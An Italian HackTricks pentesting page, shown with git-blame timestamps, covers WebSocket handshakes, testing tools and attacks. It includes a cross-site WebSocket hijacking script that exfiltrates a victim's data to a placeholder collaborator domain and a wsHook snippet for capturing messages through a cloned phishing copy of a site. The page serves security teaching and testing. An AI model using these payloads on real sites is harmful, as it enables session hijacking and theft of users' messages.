hacktricks/pentesting-web/websocket-attacks.md

183 lines
12 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# Attacchi WebSocket
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## Cosa sono i WebSockets
2024-02-10 13:03:23 +00:00
Le connessioni WebSocket vengono stabilite tramite un iniziale **handshake HTTP** e sono progettate per essere **a lunga durata**, consentendo la messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Ciò rende i WebSockets particolarmente vantaggiosi per le applicazioni che richiedono **bassa latenza o comunicazione iniziativa dal server**, come i flussi di dati finanziari in tempo reale.
2024-02-10 13:03:23 +00:00
### Stabilimento delle connessioni WebSocket
2024-02-10 13:03:23 +00:00
Una spiegazione dettagliata sull'instaurazione delle connessioni WebSocket può essere consultata [**qui**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In sintesi, le connessioni WebSocket vengono di solito avviate tramite JavaScript lato client come mostrato di seguito:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
2024-02-10 13:03:23 +00:00
Il protocollo `wss` indica una connessione WebSocket protetta con **TLS**, mentre `ws` indica una connessione **non protetta**.
2024-02-10 13:03:23 +00:00
Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato negli esempi seguenti:
2024-02-10 13:03:23 +00:00
Il browser invia una richiesta di handshake:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
2024-02-10 13:03:23 +00:00
Risposta di handshake del server:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
2024-02-10 13:03:23 +00:00
La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.
2024-02-10 13:03:23 +00:00
**Punti chiave della WebSocket Handshake:**
2024-02-10 13:03:23 +00:00
- Gli header `Connection` e `Upgrade` segnalano l'inizio di una WebSocket handshake.
- L'header `Sec-WebSocket-Version` indica la versione desiderata del protocollo WebSocket, di solito `13`.
- Un valore casuale codificato in Base64 viene inviato nell'header `Sec-WebSocket-Key`, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non serve per l'autenticazione, ma per confermare che la risposta non sia generata da un server o una cache configurati in modo errato.
- L'header `Sec-WebSocket-Accept` nella risposta del server è un hash del `Sec-WebSocket-Key`, che verifica l'intenzione del server di aprire una connessione WebSocket.
2024-02-10 13:03:23 +00:00
Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente.
2024-02-10 13:03:23 +00:00
### Console Linux
2024-02-10 13:03:23 +00:00
Puoi utilizzare `websocat` per stabilire una connessione raw con un websocket.
2021-02-22 16:59:36 +00:00
```bash
2021-02-22 15:05:55 +00:00
websocat --insecure wss://10.10.10.10:8000 -v
```
2024-02-10 13:03:23 +00:00
O per creare un server websocat:
2021-02-22 16:59:36 +00:00
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
2024-02-10 13:03:23 +00:00
### Connessioni websocket MitM
2021-02-22 16:59:36 +00:00
2024-02-10 13:03:23 +00:00
Se scopri che i client sono connessi a un **websocket HTTP** dalla tua rete locale attuale, puoi provare un [Attacco di Spoofing ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) per eseguire un attacco MitM tra il client e il server.\
Una volta che il client sta cercando di connettersi a te, puoi utilizzare:
2021-02-22 16:59:36 +00:00
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
2024-02-10 13:03:23 +00:00
### Enumerazione di Websockets
2021-02-22 16:59:36 +00:00
2024-02-10 13:03:23 +00:00
Puoi utilizzare lo **strumento** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **per scoprire, identificare e cercare automaticamente** **vulnerabilità** note nei websockets.
2021-12-30 10:14:05 +00:00
2024-02-10 13:03:23 +00:00
### Strumenti di debug per Websocket
2024-02-10 13:03:23 +00:00
* **Burp Suite** supporta la comunicazione MitM dei websockets in modo molto simile a quanto fa per la comunicazione HTTP regolare.
* L'estensione [**socketsleuth**](https://github.com/snyk/socketsleuth) di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp, ottenendo la **cronologia**, impostando **regole di intercettazione**, utilizzando regole di **match e replace**, utilizzando **Intruder** e **AutoRepeater**.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Acronimo di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per **catturare, intercettare, inviare messaggi personalizzati** e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server.
* [**wsrepl**](https://github.com/doyensec/wsrepl) è un **REPL interattivo per websocket** progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare **i messaggi websocket in arrivo e inviarne di nuovi**, con un framework facile da usare per **automatizzare** questa comunicazione.
* [**https://websocketking.com/**](https://websocketking.com/) è un **sito web per comunicare** con altri siti web utilizzando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) tra gli altri tipi di comunicazioni/protocolli, fornisce un **sito web per comunicare** con altri siti web utilizzando **websockets**.
2024-02-10 13:03:23 +00:00
## Laboratorio Websocket
2024-02-10 13:03:23 +00:00
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) trovi un codice per avviare un sito web utilizzando i websockets e in [**questo post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puoi trovare una spiegazione.
2022-05-01 13:25:53 +00:00
## Cross-site WebSocket hijacking (CSWSH)
2024-02-10 13:03:23 +00:00
**Cross-site WebSocket hijacking**, noto anche come **cross-origin WebSocket hijacking**, viene identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce gli handshake dei WebSocket. Questa vulnerabilità si verifica quando gli handshake dei WebSocket vengono autenticati esclusivamente tramite **cookie HTTP** senza **token CSRF** o misure di sicurezza simili.
2024-02-10 13:03:23 +00:00
Gli attaccanti possono sfruttare ciò ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site verso un'applicazione vulnerabile. Di conseguenza, questa connessione viene considerata parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione della sessione.
2024-02-10 13:03:23 +00:00
### Attacco semplice
2024-02-10 13:03:23 +00:00
Si noti che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe utilizzarlo per **associare** ogni **utente specifico** alla sua **sessione websocket basata sul cookie inviato**.
2021-02-22 16:59:36 +00:00
2024-02-10 13:03:23 +00:00
Quindi, ad esempio, se il **server websocket** invia indietro la cronologia della conversazione di un utente se viene inviato un messaggio con "**READY**", allora un **semplice XSS** che stabilisce la connessione (il **cookie** verrà **inviato automaticamente** per autorizzare l'utente vittima) **invio** di "**READY**" sarà in grado di **recuperare** la cronologia della **conversazione**.
2021-02-22 16:59:36 +00:00
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
2024-02-10 13:03:23 +00:00
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
2024-02-10 13:03:23 +00:00
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
2024-02-10 13:03:23 +00:00
### Cross Origin + Cookie con un sottodominio diverso
2024-02-10 13:03:23 +00:00
In questo post del blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaccante è riuscito a **eseguire codice Javascript arbitrario in un sottodominio** del dominio in cui avveniva la comunicazione tramite websocket. Poiché si trattava di un **sottodominio**, il **cookie** veniva **inviato**, e poiché il **Websocket non controllava correttamente l'origine**, era possibile comunicare con esso e **rubare token da esso**.
2023-03-15 09:29:52 +00:00
2024-02-10 13:03:23 +00:00
### Rubare dati dall'utente
2021-02-22 16:59:36 +00:00
2024-02-10 13:03:23 +00:00
Copia l'applicazione web che desideri impersonare (ad esempio i file .html) e all'interno dello script in cui avviene la comunicazione tramite websocket, aggiungi questo codice:
2021-02-22 16:59:36 +00:00
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
2024-02-10 13:03:23 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
2021-02-22 16:59:36 +00:00
}
wsHook.after = function(messageEvent, url, wsObject) {
2024-02-10 13:03:23 +00:00
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
2022-04-05 22:24:52 +00:00
}
2021-02-22 16:59:36 +00:00
```
2024-02-10 13:03:23 +00:00
Ora scarica il file `wsHook.js` da [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salvalo all'interno della cartella con i file web**.\
Esponendo l'applicazione web e facendo connettere un utente ad essa, sarai in grado di rubare i messaggi inviati e ricevuti tramite websocket:
2021-02-22 16:59:36 +00:00
```javascript
sudo python3 -m http.server 80
```
2024-02-10 13:03:23 +00:00
## Condizioni di gara
2021-02-22 16:59:36 +00:00
2024-02-10 13:03:23 +00:00
Le condizioni di gara nei WebSockets sono una cosa, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets).
2024-02-10 13:03:23 +00:00
## Altre vulnerabilità
2024-02-10 13:03:23 +00:00
Poiché i WebSockets sono un meccanismo per **inviare dati al lato server e al lato client**, a seconda di come il server e il client gestiscono le informazioni, **i WebSockets possono essere utilizzati per sfruttare diverse altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente proveniente da un WebSocket**.
2021-02-23 13:55:20 +00:00
2022-06-19 14:00:50 +00:00
## **WebSocket Smuggling**
2024-02-10 13:03:23 +00:00
Questa vulnerabilità potrebbe consentirti di **eludere le restrizioni dei proxy inversi** facendo loro credere che sia stata stabilita una **comunicazione WebSocket** (anche se non è vero). Ciò potrebbe consentire a un attaccante di **accedere a endpoint nascosti**. Per ulteriori informazioni, consulta la seguente pagina:
2022-06-19 14:00:50 +00:00
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-02-23 13:55:20 +00:00
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
2020-07-29 09:22:22 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>